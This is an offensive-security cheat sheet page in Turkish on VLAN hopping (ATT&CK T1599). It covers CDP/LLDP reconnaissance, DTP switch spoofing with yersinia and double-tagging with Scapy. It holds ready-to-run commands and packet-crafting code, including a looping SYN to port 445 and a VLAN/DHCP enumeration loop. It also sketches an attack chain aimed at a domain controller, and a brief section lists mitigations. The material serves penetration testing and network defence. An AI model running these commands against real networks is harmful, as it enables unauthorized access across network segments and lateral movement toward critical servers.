VLAN Hopping
ATT&CK T1599 difficulty: orta
VLAN Hopping, ağın VLAN’larla sağladığı mantıksal segmentasyonu atlayıp normalde erişilemeyen VLAN’lara ulaşmaktır (T1599). İki klasik yöntemi vardır: switch spoofing (DTP) ve double tagging. Modern switch’lerde çoğu zaman kapatılmıştır; yine de eski/yanlış yapılandırılmış erişim portlarında görülür.
Ön koşullar
Section titled “Ön koşullar”- Fiziksel veya erişim portuna bağlı dayanak (misafir VLAN vb.)- Native VLAN bilgisi (double tag için)- Araçlar: yersinia, scapy, frogger, tcpdump- CDP/LLDP ile komşu/switch keşfisudo tcpdump -i eth0 -nn -v 'ether[20:2] == 0x2000' # CDPsudo tcpdump -nn -i eth0 -s 1500 -c 1 'ether proto 0x88cc' # LLDPsudo yersinia -Gsudo ./frogger.ship -d link showÖğren: native VLAN ID, trunk mu access mi, DTP açık mı, ses/data VLANSwitch spoofing (DTP)
Section titled “Switch spoofing (DTP)”Erişim portu DTP ile trunk pazarlığına açıksa, saldırgan kendini switch gibi tanıtıp trunk kurar ve izin verilen VLAN trafiğini görür / etiketler:
sudo yersinia -Gsudo yersinia dtp -attack 1 -interface eth0sudo ip link add link eth0 name eth0.20 type vlan id 20sudo ip link set eth0.20 upsudo dhclient eth0.20sudo ip addr add 10.20.0.66/24 dev eth0.20Başarı sonrası yeni VLAN’da scanning ve sniffing.
Double tagging
Section titled “Double tagging”Native VLAN etiketlenmeden trunk’tan geçiyorsa, saldırgan çift 802.1Q etiketiyle paketi hedef VLAN’a zıplatabilir. Genelde tek yönlüdür.
-
Çift etiket modeli — dış = native VLAN (switch soyar), iç = hedef VLAN.
-
Paketi üret (Scapy) :
from scapy.all import *pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=1)/Dot1Q(vlan=20)/ \IP(dst="10.20.0.5")/ICMP()sendp(pkt, iface="eth0", count=5)pkt = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst="10.20.0.5")/TCP(dport=445, flags="S")sendp(pkt, iface="eth0", loop=1, inter=0.2) -
Sonuç — paket ulaşabilir; yanıt genelde gelmez. Çift yönlü için trunk spoofing tercih edilir.
sudo vconfig add eth0 20sudo ifconfig eth0.20 10.20.0.66 netmask 255.255.255.0 upVoice VLAN / auxiliary
Section titled “Voice VLAN / auxiliary”CDP'de voice VLAN ID görülebilirBazı IP telefon portları multi-VLANYanlış yapılandırılmış access + voice → ekstra segmentBaşarısızlık / modern engeller
Section titled “Başarısızlık / modern engeller”DTP off / access port static → spoofing yokNative VLAN tagging (vlan dot1q tag native) → double tag zorPrivate VLAN / port isolation → hop sonrası limitleme802.1X + MAB → önce auth gerekirSaldırı zinciri
Section titled “Saldırı zinciri”Misafir VLAN erişimi → CDP: native VLAN=1, DTP dynamic desirable → yersinia DTP trunk → eth0.30 (sunucu VLAN) IP al → SMB enum / DC keşfiDouble tag → tek yönlü SYN to DC:445 → fire-and-forget exploit / wakeTrunk sonrası enum
Section titled “Trunk sonrası enum”for v in $(seq 1 50); dosudo ip link add link eth0 name eth0.$v type vlan id $v 2>/dev/nullsudo ip link set eth0.$v upsudo timeout 2 dhclient eth0.$v 2>/dev/null && echo "VLAN $v DHCP OK"donesudo nmap -sn 10.20.0.0/24